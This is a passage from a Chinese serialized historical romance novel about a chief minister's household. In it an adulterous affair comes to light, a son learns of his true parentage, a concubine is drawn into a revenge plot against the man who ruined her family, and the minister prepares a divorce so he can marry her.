她以为她生了孩子,就会得到那人的喜欢,可那人依旧对她冷漠以待,不曾待她以真心,别说情意相投,连相敬如宾都是奢侈。 她只能再次寻到少年,把对男人的所有不甘倾注到少年身上,复又怀有身孕。 她早就不再奢望那人的喜欢,只囚于林府,被迫做一个断情绝爱的牌匾。 她明明已退让至此,这人仍要休妻。 沈玉清伏在桌案上的手紧攥成拳,指甲深深陷进掌心,她却无暇在意。 男人抱着她,瞥了眼她绷直发白的手背,抬手覆了上去,微微合拢手指,吻着她耳侧,轻笑道,“这般生气做什么,你不喜她,我杀了她就是了,倒时她死了,无人能够再取代你,你仍是林夫人。” “远山……”沈玉清垂下头,“这些年你在姑苏过得如何?” “怎么忽然问起这个?无论好不好过,我不都回来了。” “想嫂嫂想得紧,实在等不到入冬了,不然依我这副身子,说不定何时就死了。” 男人垂下头,吻上她的侧颈。 分明来时想看她的热闹,但只见女人落了泪,未等女人说什么,他就不争气地说出帮她的话。 一次次被她舍弃,又一次次主动凑上来。 若是旁人有意利用他,又将他舍弃,早就死八百回了,偏偏他见不得女人落泪,更别提报复她。 沈玉清沉默半晌,那句“你不怪我”在口中打转,最后也未问出口,“怀瑾昭明许久未见到你,过几日你设宴邀他们去你院中罢。” “罢了,离京前他们兄弟二人便 同我生疏,如今更是同我疏远,我同他们见面也没什么好叙旧的。” “可你毕竟是他们的亲生父亲。” “是亲生父亲又如何,他们只认长兄,何况生恩不如养恩……” “大少爷。” 未等男人讲完,小桃慌乱的声音从门外传来,大夫人身子一僵,抬眸看去,却见长子面色紧绷,大步走入房中。 林怀瑾站在门前,看她时素来温情恭敬的目光此时沁满寒意。 四目对视,大夫人浑身僵硬,甚至忘记挣脱男人的怀抱。 “怀瑾……你怎么……” 林怀瑾站在屏风前,看向搭在他母亲腰上的手臂,面色紧绷,一句话未说,骤然转身离开。 “怀瑾!” 大夫人终于慌了神,忙不迭推开身后的男人大步追了过去。 林远山未来得及躲闪,被推得向后退了几步,险些撞到身后桌案上的菩萨。 他看着女人慌乱的背影,手背抵唇,低咳一声。 方才还允他同两个儿子见面,眼下只被长子发现奸情,就将他推开,说到底,仍不愿让两个儿子认他做父亲。 林远山撑着身后的桌案,堪堪稳住身子。 过去他就不如长兄,如今他落魄至此,连回京都要看别人的脸色,像条丧家之犬,同执掌朝廷的长兄相比,更是一个天上一个地下。 他看着手背上的鲜血,用帕子随意擦拭,待女人转身时,将帕子藏在袖中,扬唇对她不值钱地笑。 “你还笑!眼下该怎么办?”沈玉清面色急切。 “你是他母亲,他素来在意你,你只同他说情,他自会原谅你。”林远山站起身,缓步走至女人身前,低声道,“或者你同长兄和离,我娶你,名正言顺地做他们的父亲。” 沈玉清闻言,面上的急切霎时褪去几分,转过身回避他的目光,“晚些我同怀瑾说情,你也不必再唤他们去你院中了。” 女人背对着他,背影绝情冷漠,林远山轻轻笑了笑,面色随和,垂在袖中的手却紧攥着那张染血的白帕,枯瘦的手背青筋凸起。 兴许等不到来年病发,他就要被女人气死了。 临竹轩。 李家出事后,知晓徐可心还未放弃查清当年之事,为了讨得女人的原谅,林怀瑾顺着李家残留的旧部,也在调查,可他哪里想过,兜兜转转竟然查到沈家头上。 涉及到外祖家,他一直压着此事,未告诉徐可心。 他的确喜欢女人,想要讨她的喜欢,将她占为己有,可顾及母亲,权衡之后,他只能背弃当初给她的承诺,隐瞒实情。 自知有愧,甚至得知她被父亲带回府中后,他也不敢回府见她。 他认为他一直在努力维护这个家,也做了他能做的一切,可到头来,父亲要休了母亲,而母亲也早就同二叔有染。 他和昭明也不是父亲的孩子…… 他为了维护这个家,在徐可心进府后,想要赶她离府,又为了母亲,再次背弃承诺女人的话,可现在他们却不断告诉他,这个家早就从根里就烂透了。 他像个可耻的笑话一样,自顾自地践行世俗礼节,临到最后,只有他像个傻子一样被蒙在鼓里。 林怀瑾紧关着门,未理会小厮关切的话,背靠着门瘫坐在地,乌发凌乱地散落在肩头,挡住他半边失魂落魄的脸。 母亲竟然和二叔有染…… 得知父亲意图休妻后,他甚至想过为了母亲,同父亲当堂对质,可现在他甚至不知道如何面对父亲。 难压的背叛之感骤然涌上心头,覆压在他的肩头,令他根本难以同往日那般挺起腰背,好似被人打断脊梁一般,深深弯着腰骨,埋首在手臂里。 心中万般苦楚,他甚至难以寻到一个人诉说他的痛苦,只能同过去无数次那样,独自咽下所有脏血。 少时他和昭明都受双亲冷落,可林昭明与他不同,受了委屈时,可以去寻徐可心,徐可心会将他揽在怀里,纵容他的撒娇和无赖,在意他的难过和痛苦,而他林怀瑾只能站在远处,像只无人在意的老鼠一般,窥探女人对他的好。 他独自长大成人,又被迫成熟,早早承担责任,成为母亲的依赖,事事以母亲为先,母亲却背叛了父亲,背叛了他…… 男人低垂着头,浑身僵硬至极,喉咙也好似哑住一般,连哭都哭不出来,只因从未有人真得在意他的痛苦,哪怕他哭了,也无人会哄慰他。 女人的身影忽得在眼前浮现,他紧攥着拳,倏地起身。 听雨阁。 夜里承诺男人不会离京后,好似知晓两人的情意可以绊住她的腿,男人就将她的镣铐解开了,也卸下了那三把铁锁,允她在府中行走。 不过男人仍将青姝带在身边,未将青姝完全归还给她。 徐可心抚着琴弦,眼底眸色暗淡些许。这人未真得放心她,而她顾及青姝,也未真得挣脱镣铐。 那日吴尚书说,大人那时早已有扶持少帝的打算,才在父亲举棋不定后,提前布局谋划,令李家人拿着陈列徐家罪行的密信,跑到宫中告密。 临走前,吴尚书还告诉她,如今大人权势滔天,她一人难以报仇,若有所谋划,务必亲自书信给他。 吴尚书同她交谈时,只寻了一处无人地,回避旁人,等她的回应时,却再三强调务必书信。 书信留痕,徐可心紧抿着唇,正想着到底是否要详问一番时,一阵急躁沉重的脚步声从门外出来。 她身子一僵,下意识以为来人是林昭明,等看到衣衫凌乱的男人闯进房中时,她眼底的紧张霎时褪去,取而代之的是不加掩饰的警惕。 想起白日丫鬟进门时唤她夫人,知晓府中人已经知晓大人的决定,她看着站在门前的林怀瑾,下意识认为他是为了夫人前来劝解她,徐可心紧蹙眉,搭在琴弦上的手指不自觉蜷缩。 她面色谨慎,害怕这人做出出格之举,直直盯着他,只等男人犯浑时,唤人过来。 此地不是他的玉灵书院,也不是他的临竹轩,下人们不会有意包庇他。 她浑身紧绷,提前做好了求救的准备。她防备至极,男人却好似未察觉她的警惕一般,失了魂一般跌跌撞撞地大步向她走来,距离还有一步远时,没有征兆地跪在地上,骤然扑进她怀里,埋首在她的腹部,紧紧箍着她的腰。 一瞬间,徐可心的眸子骤然瞪大,错愕地看着跪在她面前的男人。 “长公子,你这是做什么?” 她扶着男人的肩膀,下意识想要推开男人,指尖触及男人肩膀的瞬间,沉闷的哭声从她身前传来,徐可心指尖一顿,眸色怔愣地看着他。 男人埋首在她的腹部,削挺的鼻梁死死抵着她的腹部,只过了片刻,难以抑制的泪水就濡湿了她的衣衫。 “姨娘,怀瑾的心很疼,怀瑾好痛苦……”男人的唇贴着她的腹部,闷声胡乱讲着,好似被刀割了声带一般,沙哑压抑至极。 他素来姿态从容,情绪内敛,好似一切尽在掌握一般,何时露出过这般脆弱神色,徐可心紧抿着唇,下意识以为这人又在做戏算计她,只怔愣地看着男人,既未安慰他,也未推开他。 见她迟迟未有回应,好似怕她不信一样,林怀瑾胡乱地扯住她的手腕,牵着她的手抚上自己的心口,仰着头,眼眶涨红,满是泪水地看她。 “姨娘,怀瑾的心真得好疼,姨娘哄哄怀瑾可好,只像哄慰昭明那般,也疼爱怀瑾罢。” 男人嗓音颤抖,眸色恳求至极,仿佛她是这人的救命稻草一般。 掌心隔着衣服贴着他的胸膛,皮下心跳鼓动,跳得格外剧烈,好似真得同他所说那般,疼且痛苦,饱受折磨。 男人哭得实在可怜,泪水止不住地顺着眼尾流下,顷刻之间蒙住了他的整张脸,素来平静无波的眸子,也早就被苦楚淹没。 徐可心紧抿着唇,鬼使神差地揽着他的脖颈,按着他的后颈将人抱在怀里,指尖穿进他的发间,轻声道,“到底发生何事了?哭得这般难过?” 被她揽在怀里抱住的瞬间,男人挺直的腰背彻底弯了下去,紧紧箍着她的腰,痴汉一般埋首在她怀里,汲取她身上的暖意。 “姨娘再疼疼怀瑾可好,只说在意怀瑾,也喜欢怀瑾……” 男人趴在她怀里,恨不得融进她身体里似的,讲起话来也语无伦次,只不断恳求。 见他好似真得受了刺激,徐可心揽着他的身子,缓缓叹了口气,只俯着身子,温声道,“长公子,有妾身在,妾身会护着公子,不会让旁人欺辱公子……” 她话语不停,只把他当幼童一样哄慰,语气算不得诚恳,但意外地,男人的心绪竟真得平和下来,安静地抱着她,哭声也逐渐平息。 眼见男人平复些许,她斟酌着话,方要问他到底发生何事,却听男人头也不抬哽咽道,“姨娘,我并非父亲的亲生儿子,你说我该如何是好……” 话音刚落,徐可心眸色一怔,下意识追问,“长公子你说什么?” 第118章 “姨娘,怀瑾的心好疼。” 林怀瑾跪在她的双腿之间,仰着满是泪水的脸,攥着她的手腕贴上自己的脸,温热的泪水顺着指尖滑落至她的掌心,狼狈至极。 长公子并非大人的亲生孩子…… 徐可心一时也难以接受这件事,只错愕地揽着他的肩膀,直到耳边的哭声愈发压抑,喘息也愈发急促,俨然哭到几近窒息,她才霎时回神,忙不迭抚上男人的后背,“慢些哭,吸气,呼气……” 她低垂着头,忙不迭引导男人呼吸,眼见他面色愈发涨红,喉咙也愈发哽咽,发出难堪的闷哼,徐可心紧抿着唇,狠心捂住他的脸,制止他的哭声。 “长公子,再哭下去嗓子就要坏了。” 男人的下半张脸被遮挡,露在外面的泪眸微怔,直直盯着她,压抑的哭声被堵在喉咙里,男人看着她,眼底浮现几分不解和委屈。 徐可心见状,只把人揽在怀里,捂着他的唇防止他呼吸过度,另外一只手缓慢地抚着他的后背,轻声道,“长公子从哪里听来的消息,兴许是假的也不一定。” “有些话,还是彼此问清为好,勿要偏听偏信……” 徐可心本想安慰他,让他自己去问大夫人,可话一出口,她不自觉想到自己,忽得发觉,她自己甚至做不到向大人问清当年之事,却要为难他。 她沉默片刻,余下的话堵在喉咙里,只缓缓叹了口气,垂眸轻声道,“长公子,妾身是外人,难以言说什么,只能说,若你痛苦,想要一个真相,便去寻夫人,虚实与否,只有你母亲能告诉你,若想放下,就将此事埋在心底,只当从未听过,粉饰太平……” 她俯下身,揽着男人的后背,将他抱在怀里,抚着他的后颈,“无论此事是真是假,都不是你的错,你也不必揽下一切折磨自己。” 男人埋首在她怀里,枕着她的颈侧,喉咙里哭声压抑。 徐可心紧抿着唇,只能不断轻抚他的后背,轻声安慰他。 男人跪坐在她面前,哭了将近半个时辰,最后枕着她的腿,疲惫地阖上眼皮,只就着这个姿势,趴在她腿上沉沉睡了过去。 男人的身子很重,虽只半边身子压着她的腿,也让她感到很沉重,双腿很快酸胀麻木,皮肉泛着痒意,好似有蚂蚁在里面爬一样。 目光落在男人紧拧的眉眼,她忍着腿上的麻木,垂眸抚上他的眉心,抚平他眉上的痛苦。 丫鬟进门时,看着两人亲昵的姿态,眸色一怔,又很快掩饰。 徐可心看了她一眼,也未在意她的异样,任由男人枕在她腿上休憩。 她抚着男人的肩膀,心绪就忍不住飘到大人身上。 若长公子真得不是大人的亲生儿子,那人知晓后,又会如何反应,是怒不可遏,还是悲恸难过,她仔细想了无数个情景,最后眼前只浮现男人那双冷淡到好似永远不会泛起波澜的眸子。 她几不可察叹了口气,只希望林怀瑾方才所言只是听来的假话,她不想再看到那人眼里露出旁的情绪。 林怀瑾醒来时,已是午后,他只保持这个姿势,长睡不起,分明极为别扭,他却睡得很沉。 见他醒来,徐可心拿起帕子,复又将他脸颊残留的泪痕擦干。 男人跪坐在她面前,任由她擦拭面庞,温和顺从,面色明显平和些许,不似来时那般崩溃。 徐可心为他擦拭干净,方要收回手,却被男人一把攥住手腕。 “姨娘。”他很轻地唤了一声,声音旖旎,透着不加掩饰的依赖。 手臂一顿,徐可心垂眸看他,却见男人偏过头,半阖眉眼,吻上她的手心,眼也不抬道,“今日多有打扰,还请姨娘勿怪。” 徐可心之前很怕他这副没来由的痴迷神色,但同方才那副濒临崩溃的模样相比,她还是更希望这人维持这副痴迷模样,起码不会哭到几近窒息。 男人跪在地上,屈膝想要站起身,不知是有意的,还是无意的,快要站直身体时,男人身子一弯,没有征兆地俯下身,直接倒在她怀里。 “你……”徐可心下意识伸手扶住他的身子。 男人半边身子倚在她怀里,扶着她的肩膀,好似真得愧疚一般,在她耳边告罪地唤了一声姨娘。 他垂着眉眼,睫毛遮住他的半边瞳孔,也隐住他的半分情绪,只晦涩莫深地俯视她,目光落在她的唇上,透着几分渴望。 很快察觉到他的异样,徐可心倏地起身,毫不犹豫将人推开,转身向里室走去,头也不回道,“若无事的话,长公子快些离开罢。” “姨娘,怀瑾可否唤你可心……”男人站在她身后,忽然问。 徐可心呼吸一滞,几分恼怒骤然爬上心口,方才看他委实可怜才收留他,眼下心绪方平复就得寸进尺,真是无耻至极。 “唤妾身庶母也好,姨娘也罢,旁的亲昵的话勿要再想了。” 她说完,只让男人快些离开。 知道女人不待见他,林怀瑾向门前走去,临快要出门时,他停下脚步,回头看了眼女人的背影,才抬步离开。 临到最后也未告诉她,沈家也参与了徐家一事。 他本要回临竹轩,还未等进院,小桃就早早等在院门前,说夫人唤他过去。 林怀瑾停下脚步,终究想要一个解释,同她前去正院。 正院。 沈玉清早就在房中等候多时,只一见到他,就快步迎了上去。 “怀瑾,你白日可听到了什么?” “同试探怀瑾而言,母亲不想对怀瑾解释一二?”林怀瑾站在她面前,眸中恭敬全无,未同往日那般顾及她的体面,直白问。 沈玉清眸色一怔,面上的小心也尽数褪去,只转身走到桌案前坐下,眼也不抬道,“我如何同你解释,你又想知道什么?” 林怀瑾未想到,分明他已经亲眼撞见了两人的亲昵,直到现在,母亲仍未对他有丁点愧意,也没有想对他解释的意图,反而质问他,好似他才是罪人一般。 若他未贸然闯进,一切都不会发生似的。 “母亲和二叔到底是什么关系?” 话落,他又觉不够直白,复又道,“我的父亲究竟是谁?” “你父亲自然是当朝首辅林远舟!这是毋庸置疑的事,京中人都知晓,你是林远舟的儿子。” 林怀瑾强压喉咙里的哽咽,极力平复声音,一字一句问,“母亲,你不要再自欺欺人了。” “我何时自欺欺人?你本就是首辅长子,也只能是首辅长子,和罪臣林远山没有半分关系。” 眼见长子未顺从她的话往下讲,沈玉清面色不自觉急切几分,“怀瑾,母亲并不喜你二叔,是你二叔纠缠母亲在先,他胡言乱语,总想占据母亲,想要将你们认成他的儿子,你勿要信他的胡话。” 听着女人的狡辩之言,林怀瑾忽觉女人的面容格外陌生。 他眼下前来,只想要一个解释,想要母亲承认做错了事,对父亲有愧,对他有愧,他本以为,母亲唤他前来,已经想好要告知他一切,可女人眉头紧拧,不仅没有半分悔意,还把所有错处归咎到二叔身上。 深深的无力压在心头,难压的窒息复又蔓延至五脏六腑。 “母亲这般说,那二叔算什么?我和昭明又算什么?父亲知道此事吗?” “我唤了近二十载的父亲,并非我的亲生父亲,同我素来疏远的二叔,才是我 的父亲,你们隐瞒此事,将我和昭明蒙在鼓里,难道母亲没有半分愧疚吗?” 他过去不明白为何父亲对他和昭明冷漠到近乎无情,如今想来,想必父亲早就知晓此事,只是未揭穿母亲。 “我是你母亲,我生下了你,我为何对你有愧?你是我儿子,你应体谅我才是!你又如何能知晓我心中苦楚?” “自从嫁给你父亲那日起,他可曾分给我半分喜欢,他眼里只有朝政,只把我当成一个活牌匾摆在府中,我以为他只是本性如此,可你也看到了,他有多纵容那女人?” “如今还要为了那女人休掉我,你不帮我赶走那女人,还帮外人一起欺负你母亲,你的心难道也是铁做的不成?” “可徐姨娘还未入府前,母亲就已经同二叔有染,母亲犯错在先,如何又能怪到徐姨娘身上?” 一而再再而三被他反驳,沈玉清气急,倏地起身,“你想说,我就是不得你父亲喜欢是吗?” “儿子并未……” “你不必再说了。”沈玉清打断他的话,冷声道,“我只问你,你认不认我这个母亲,若认,就权当不知情,只将此事烂到肚子里,若不认,便将此事公之于众,让你母亲蒙羞,受人指点,往后我只当没有你这个儿子。” “母亲!”林怀瑾面色紧绷,闻言只觉浑身血液冷凝,心中最后一丝希冀也全然退去。 他彻底不愿多说,甚至未告辞,直接转身离开。 沈玉清紧攥茶杯,强稳心神,饮下一口茶,杯中茶水绕着杯壁打转,难以平息,同她此时的心绪一般无二。 见长子未从往日那般顺从她,她只觉长子被那狐媚子迷了心智,彻底忘记自己是谁了。 非要知晓亲生父亲是谁对他有什么好处,没有首辅长子的身份地位,他又如何能在官场平步青云,官至高位。 早知那人会为了那女人起了休妻的念头,她那日就该准长子娶了那女人,只待女人成了自己的儿媳,还不是任她磋磨,眼下又怎会哄得那人想要休妻。 沈玉清握紧杯壁,难压心中怒气,猛地将茶杯摔在地上。 她既已嫁进林家,又怎有被休的道理,已经过了二十余载,旁人都知晓她是林夫人,她就算死,也要顶着首辅夫人的名号,不会让娘家和旁人看她笑话。 赵府。 吏部侍郎赵朗端着酒杯,看了眼趴在桌案上不断灌酒的男人,斟酌良久,想要出言劝解一二,临到最后,只无奈道,“大人当真要休了夫人,而娶长小姐为妻?” 林怀瑾紧攥酒壶,单手托头,低垂着眉眼,“赵大人身为父亲近臣,还请出言劝解我父亲。” 赵朗闻言,攥着酒杯,未立刻答应。 过去他是徐大人的门生,一直在其手下做事,承了徐家的恩情,但实在难以忍受徐大人的行事作风,便转投至林大人门下。 徐家出事前,他被派去江南为官,之后得了京中的信,一直派人照看林远山,也是那时才知晓,徐家早就被先帝命人查封,他虽惋惜,但也知晓成王败寇的道理。 少帝登基,他被调遣回京,知晓徐家两位小姐尚且活着,当即前往教坊司,以赎身之名将两人带离。 他有家室,家妻尚且年幼,爱胡思乱想,他难以真得纳长小姐为妾,想着她和林家二公子过去曾有婚约,惦念往昔情分,对方也会照顾徐小姐,便将人送到林府。 传信的官员过去不再京中任职,不知晓他在林大人手底下做事,以为他要讨好首辅大人,传话时,只说他寻了一位官妓,想要送给林大人为妾。 他新官上任,公务繁忙,未亲自上门说情,等过了数日,从旁人口中知晓徐小姐成了林大人的妾室,他才意识到那人传错了话。 他心上焦急,连忙把官员叫过来,想要前去林府解释清楚,等从官员口中知晓,林大人不仅未把人赶走,还收下时,知晓木已成舟,他只能隐下这桩乌龙事。 他想着哪日林大人问起他的意图,他再解释,等到徐小姐怀有身孕,大人还未同他提起此事后,他才彻底歇了心思。 从旁人口中得知,林二公子早就退婚,复又和沈家结有婚约后,他又不免庆幸,未把人真得送到林二少院里,不然沈家计较起来,他可真是罪人一个。 如今见长公子跑到他面前,说大人想要休了夫人,赵朗也不自觉感到心中忐忑。 早知如此,他当初就不应将长小姐送到林家,哪里想过,他离开数年,京中事端竟如此之多。 两人均一头莫展时,下人前来传话道,“大人,沈家派人来了。” 朝中官员都知晓他一直在大人手底下做事,受大人重用,如今林府那边刚传出大人要休妻,沈家这边就派人上门,所为何事显而易见: 想要他前去林府给夫人说情。 林怀瑾坐在一旁,也猜出来人的心思,头也不抬道,“只等酒醒,怀瑾自会离开,还请大人勿要将此事告知旁人。” 如今府中只有他一个客人,所谓的旁人,也只能是刚刚上门的沈家人。 不知他同沈家人之间又生了什么嫌隙,赵大人只微微颔首,推门离开。 其实扪心自问,他也不愿见大人休妻。 徐小姐毕竟在教坊司当了三年官妓,委实难以承担妻位,何况大人为官后,不曾有过半个污点,若真为了徐小姐休掉发妻,他赵朗可就真成了罪人…… 第119章 同他方才所料想的一样,沈家人只同他寒暄一番,就问他可否知晓林府之事。 长公子刚同他说,想恳求他出面为林夫人求情,这林家之事,他最清楚不过。 见沈家人求人办事,仍试探于他,赵朗也不想同他们多言,随意敷衍几句,只说此事难办,就将人请离府中。 休妻既是大人的决定,他们一群下面做事的,也难以干涉大人的后宅之事。 他近日的确有前去林府的打算,却非给夫人求情,而是为了徐家一事。 如今两桩事混到一起,说没关系,却也有几分关系,正好一路解决了。 听雨阁。 徐可心看着许久未见的男人,眼底不自觉浮现几分讶然,“赵大人。” 她下意识起身,端起茶壶为他倒了一杯茶。 “徐小姐不必多礼,下官只言说几句,就会离开。”身着官府的男人缓步上前,俯身同她行礼,未唤她徐姨娘,仍唤她徐小姐。 “小姐可想知晓徐家一事到底由何人谋划?”赵朗未卖关子,直言道。 徐可心倒茶的手一顿,放下茶壶。 “大人为何如此问?”她眼也不抬道。 赵朗看着女人低垂的眉眼,几不可察叹了口气。 当年梁党做事狠绝,非其所用必除之后快。一众京官对他们避之不及,唯恐受其牵连,惹得一身腥,唯独徐大人与虎谋皮,仍与其党来往。 临到最后被他们纠缠上,彻底难以脱身,落得一个抄家查封的下场。 位高如徐大人,尚且被他们报复算计,其余党羽的官员更是饱 受其害,流放的流放的,砍头的砍头的,他们早就对梁党恨之入骨。 可直到少帝登基,梁党余孽仍在朝中做官,无人计较他们当年所做之事。 并非众人心胸宽广,无意追究打压他们,只是若彻查清算下去,那位最狠毒的主难逃一死,而他偏偏好命,兄长不是旁人,正是当朝首辅林大人。 哪怕林大人不说,他们都不敢擅自处理此人,更何况从此人为官那日起,林大人便处处打点。 这人有个位高权重的兄长,不说做出多大功绩,只每日混吃等死,如今也能在朝中位居高位,也偏偏这人不知吃错了什么药,非要站队梁党,摆明了要和他哥打擂台。 林远山手段阴鸷狠毒,只把人往死里算计,颇受梁王爷重用,若非梁王爷倒台,这人得势后必然疯狂谋害同他不和的官员。 过去数年,其余叛党早就被除尽,只余下梁党余孽。林远山如今擅自返京,上朝时虽无人提起此事,但一双双眼睛都在盯着林府的动静,只等大人的决断。 大人一日不下令,梁党便猖狂一日,大人迟迟不下令处置林远山,他们就只能眼睁睁看着梁党在朝中作威作福。 官怨累积,难免不会有人诟病此事,跑到少帝面前,趁机离间君臣。 因此林远山只能死,也必须死。 过去大人冷心冷血,不近人情,他们无从下手,不知如何除掉林远山。 可如今大人如此在意徐小姐,徐小姐又恰好想要为徐家报仇。 无人比徐可心更适合做这把刀。 待林远山被除掉,在将徐长小姐推到大人面前,倒时大人难免不会同徐小姐生了隔阂,不会再抬她为妻,也免去宠妾灭妻的罪名。 一箭双雕,皆大欢喜。 赵朗看着面前的女人,温声道,“李家被查封那日,林二少擅自屠了李家满门,所做之举可是为了长小姐?” 未想过他会提及此事,徐可心沉默半晌,看向男人的目光也浮现几分探究。 吴尚书那日主动上门求见,告知她布局之人的身份,如今赵侍郎上门,也洞悉了她的意图。 无事不登三宝殿,他们过去不说,如今都主动上门,显然有所谋划。 她迫切地需要一个结果,也不想深究他们背后的意图,只压着心间的忐忑,抬眸看向站在一旁的男人,“大人,实不相瞒,数年已过,妾身始终难以忘记徐家被抄家当日,母亲悬于梁上的情境。” “父亲身死牢狱,妾身也未见其最后一面,甚至身受桎梏,难以为其收尸。” “小妹尚且年幼,便同我在教坊司受苦受累,临到冬日,一双手总是长满冻疮,疼得抓挠不止,几次险些被人侵犯,本是无忧无虑的年纪,却被迫尝尽苦楚,受尽折辱。” “我徐家人身死,自缢,受辱,妾身并非以德报怨之人,此仇不报,妾身卧枕难眠。” “还请大人告知,徐家一事到底由何人谋划,妾身定会牢记大人今日之恩。” 她眸色平静,只平和地说出她这几年的苦楚,主动揭开自己的伤疤,这次裸露的却不是她的难堪,而是她压在骨子里的恨意。 冤冤相报,她难以顾得之后的事,只知道徐家一事如同尖刺,卡在她的心上,愈刺愈深,直至将她贯穿,不让仇家付出代价,她这根尖刺也难以被拔出。 赵朗无声看着她,良久后缓声道,“长小姐,只记住此时的恨意,永远不要忘记。” 之后只将此仇化为利刃,捅进那人的身上,助他们除掉梁党。 只把叛党彻底除尽,陛下才能彻底掌权,不受威胁。 林府书房。 男人执笔在纸上书写,只过了片刻,便写下一封和离书,言辞平淡至极,并未列数沈氏入府后所做之事,只留给她最后的体面。 和离书被随意放到桌案一侧,男人手持毛笔,复又执笔书写聘书。 如今女人被他写入族谱,他既是女人的夫君,又是她的长辈,聘礼和嫁妆也均由他一人准备,到时一并送到女人院中。 女人双亲已逝,之后沦为官妓,眼下又成了他的妾室,他大可以一切从简,命下人简单布置一翻,只将人抬为正妻即可。 但他不想委屈女人,只定下良辰吉日,按照礼数设宴,娶她为妻,而非一道命令,就安排了她的一切。 临近入夜,下人推门进来,迟疑道,“大人,听雨阁那边传话说,徐姨娘今日惦念大人,一直在等大人过去。” 自从女人此番回府后,性子变得愈发娇纵,时常同他置气,过去哪怕入了深夜,也会在房中等他,半日不见,就会跑到书房寻他,如今却守在房里,只等他过去。 别说惦念,甚至时不时就要赶他离开。 今日倒是转了性,竟派人唤他过去。 林远舟不紧不慢放下毛笔,看了眼趴在乳母怀里熟睡的女婴,未唤她醒来,只独自离开书房。 听雨阁。 女人站在房中,略微急切地挪着步子,未同往日那般坐在那里。 门外脚步声起,只开门的瞬间,徐可心的心就骤然提起,忙不迭转身看向门外,却见男人身着官服,缓步走进。 四目对视,她下意识向男人跑去,直接扑进他怀里,用力环抱他的腰背,整个人埋首在他怀里,闷声唤了一声大人。 前几日还不愿同他亲近,今日却主动扑进他怀里。 林远舟环着身前人的腰背,只抚着女人的后颈,低头轻声道,“可心今夜为何唤为夫前来,是闯了祸,还是受了委屈?” 男人的声音很轻很低,在头顶缓声响起,透着不加掩饰的纵容,徐可心埋首在男人怀里,不自在地用脸轻蹭他的衣服,闷声道,“大人为何会这般想?妾身想念大人还不行吗?” “心上惦念大人,想要快些见到大人,喜欢大人,想一直陪在大人身边……” 她含糊讲着,攥紧男人衣服的手不自觉用力,将眼尾的薄泪轻轻擦到男人的衣服上,才仰头看向男人,却见对方垂着眉眼,也在看她。 此番回府,她怀揣心事,一直未敢面对男人,如今仔细看他,才忽得发觉,不知何时开始,男人的眼底沁着很轻的笑,透着不加掩饰的温柔,那双素来冷清的眸子,如今却倒映她的身影。 哪怕不喜欢,也可以装出喜欢的模样,讲着喜欢的情话,做着喜欢的事,但眼睛骗不了人。 真心喜欢时,什么也不做,只光看着对方,眼底就不知不觉沁出笑意。 下巴抵着男人的胸膛,徐可心紧抿着唇,只觉心跳得愈发快,好似整个人完完全全陷进男人的心湖里。 外面高墙林立,而她被男人放在高墙之间,拥有男人全部的好。 “大人……”她盯着男人的薄唇,心跳愈烈,未过片刻,就踮起脚尖,忍不住吻上男人的唇。 整个人依附在男人怀里,揽着他的脖颈,宛若寻到新枝的飞鸟,终于落在她的梧桐树上。 她想长长久久陪在此人身侧,但她早就无颜面对此人,之后也难以面对他。 她贪恋这人全部的好,无耻地环着男人的脖颈,想要在离开前,占据男人的一切。 徐可心埋首在他怀里,吻得很急,每一下吻得都极为珍重,主动褪下衣衫,牵着他的手,抚上她的侧脸,埋首在他颈侧,极为依赖地唤着他的名字。 男人低垂眉眼,吻上她的侧颈,有力的双臂紧箍她的腰背,“可心,永远留在为夫身边。” 女人身子一顿,良久后只低下头,复又吻上他的唇。 赵朗告诉她,当年徐家之事是梁党的谋划,而设局之人,不是旁人,正是大人的亲堂弟林远山,旁人口中那个身形消瘦饱受病痛的男人。 此人与大人情同手足,素来受老夫人疼爱,男人之前一直为何闭口不谈徐家一事,如今也有了解释。 她很喜欢男人,但她的确也难以放下徐家一事,无论事成与否,他们之间都不可避免会心生嫌隙。 她对男人有 愧,哪怕他不追究,她也无颜再留在这人身边。 梧桐叶落,天下皆秋。 她不知晓今年寿辰还能否陪在男人身侧…… 第120章 她今夜格外主动,无论男人要什么,她都答应,她心中有愧,只默默受着,本想让男人尽兴,但最后实在难以忍受,只能狼狈求情。 “大人,放过妾身罢。”她枕在男人颈侧,小声求饶。 声音细得和猫叫似的。 男人停下动作,结实的后背沁着热汗,只揽着她的腰,低头吻她的眉心,“可心应如何唤为夫?” 一声声大人,不知道的还以为他们并非情人,而是主仆。 徐可心难受得紧,微微偏头,躲过男人的吻,埋首在他颈侧,闷声道,“若直呼大人名讳,妾身未免也太过无礼。” “大人故意折煞我了。” 那夜对方过于恶劣,她实在被折腾得厉害,才不得不唤男人名讳,以求男人放过她。 她躲着男人的吻,男人也不恼,只低着头,吻上她的脸颊,缓慢轻吻。 “可心想入朝为官?” 徐可心抬头,面色不解,“大人为何如此问?” “可心天天唤着大人,只顾尊卑礼节,为夫不免认为可心有青云之志。” 男人垂着眉眼,声音格外低哑,不似话语那般正经。 “……” 她哪里有什么青云之志,对方摆明了在取笑她,徐可心不满地看了男人一眼,复又恼怒地枕在他颈侧,回避男人的目光。 眼见把人惹生气了,林远舟吻着怀中人的耳侧,轻声道,“好可心,唤为夫一声夫君。” 两人成婚后就是夫妻,一声声大人太过疏远,旁人唤他大人是因他们为奴为妾,而他的可心不必。 徐可心埋首在男人颈侧,不理会他的话。 尊卑有别,何况两人还未成婚,她也不想做这人的正妻。 她不开口,男人也未在意。 过了半晌,复又被完完全全占据身子后,徐可心求饶了。 “好夫君,好夫君……”她揽着男人的脖颈,听着耳边难压的喘息,哭得泣不成声。 “可心唤得太迟了。”男人攥着她的脖颈,将她牢牢抱在怀里,不断轻吻她的头发。 徐可心只觉整个人轻飘飘的,好似掉进了云里。她一口一个好夫君唤着,男人也没有放过她的意思。 过了子时,她彻底没了力气,趴在男人身上,终于寻得喘息的机会,累得阖上眼睛。 男人的皮肤炽热滚烫,她的脸贴在上面,听着皮下的心跳,只觉她好似被困在野兽的暖巢中,只要她不主动离开巢穴,就无人会伤到她,她唯一需要敬畏害怕的,也只有守在她身侧的男人。 男人的手掌搭在她的腰背上,不轻不重地为她按揉酸胀的侧腰,指腹温热干燥,却格外有力。 心生困倦,快入睡时,忽得想起白日之事,徐可心又强打起精神,看着男人的侧颜,犹豫道,“大人,妾身想问大人一事,大人可否告知妾身?” 男人缓慢地按揉她的后背,闻言只淡声道,“应如何唤为夫?” 徐可心话音一顿,无声咽了下口水,改口道,“好夫君,可否告知妾身?” 